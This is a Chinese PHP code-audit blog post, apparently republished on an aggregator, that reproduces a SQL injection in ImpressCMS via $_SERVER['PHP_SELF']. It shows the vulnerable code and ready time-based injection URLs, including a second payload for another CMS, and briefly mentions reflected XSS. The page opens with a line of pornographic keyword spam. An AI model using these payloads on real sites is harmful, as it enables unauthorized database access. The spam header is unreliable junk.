日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

self php语法,PHP代码审计之关于PHP_SELF的简单利用

發布時間:2023/12/4 php 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 self php语法,PHP代码审计之关于PHP_SELF的简单利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這兩天突然看到 https://blog.ripstech.com/2020/sql-injection-impresscms/,想著復現一下,記錄一下學習過程。

漏洞分析

漏洞復現

首先我們先下載安裝一下這個 cms,然后直接訪問:

http://127.0.0.1:81/admin.php/modules/system' and sleep(2) and '1

這個 url,會發現延遲了三秒,沒錯這個漏洞就是這么簡單。更深的用法我們就不討論了。

漏洞分析

打開 cms 的文件: \htdocs\libraries\icms\module\Handler.php,找到 service 函數:

static public function service($inAdmin = FALSE) {

if ($inAdmin || ... ) {

$url_arr = explode('/', strstr($_SERVER['PHP_SELF'], '/modules/'));

if (isset($url_arr[2])) {

//關鍵點

$module = icms::handler("icms_module")->getByDirname($url_arr[2], TRUE);

我們首先訪問 admin.php 會執行到這個函數,然后 inAdmin 會設置成 true,到第四行獲取了 PHP_SELF 并以 /modules/ 分割,然后講 /modules/ 后的內容帶入 getByDirname,跟進該函數:

public function getByDirname($dirname, $loadConfig = FALSE) {

if (!empty($this->_cachedModule[$dirname]) &&

$this->_cachedModule[$dirname]->getVar('dirname') == $dirname

) {

...

} else {

$sql = "SELECT * FROM " . $this->db->prefix('modules') . " WHERE dirname = '" . trim($dirname) . "'";

//執行sql

可以看到這里直接帶入了 $sql 沒有任何過濾。

擴展思考

之前我也審計到過一個此類的漏洞,這里順便分享一下:

然后下面的代碼:

//此處的 $uri 就是 PHP_SELF

$tmp = strtolower(substr($uri,-4));

if(in_array($tmp,array('.jpg','.gif','.png','jpeg')) && substr($uri,0,11) == 'res/_cache/'){

$tmp = substr($uri,11);

$tmp = explode("/",$tmp);

get_one($tmp[0]);

當文件名是 .jpg 結尾并且 uri 前十一位是 res/_cache/ 時進入,最后用 / 分割 uri 并帶入 sql 語句。

很容易就可以 payload:

index.php/res/_cache/a'-sleep(3)-'/test/test.jpg

此外還有一個點,但是暫時沒有見到過案例,比如:

print_r($_SERVER['REQUEST_URI']);

?>

這樣的代碼,然后我們用 bp 講 /test/test.php 修改成:/abc'd/../test/test.php

當然,不管是 PHP_SELF 還是 REQUEST_URI 我們直接 echo 出來都會造成 反射的 XSS

實際上我們訪問的依然是 test.php,但是 REQUEST_URI 輸出的卻是 /abc'd/../test/test.php。

當然,$_SERVER 里還有很多好玩的,期待師傅們挖掘出來教我QAQ

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的self php语法,PHP代码审计之关于PHP_SELF的简单利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。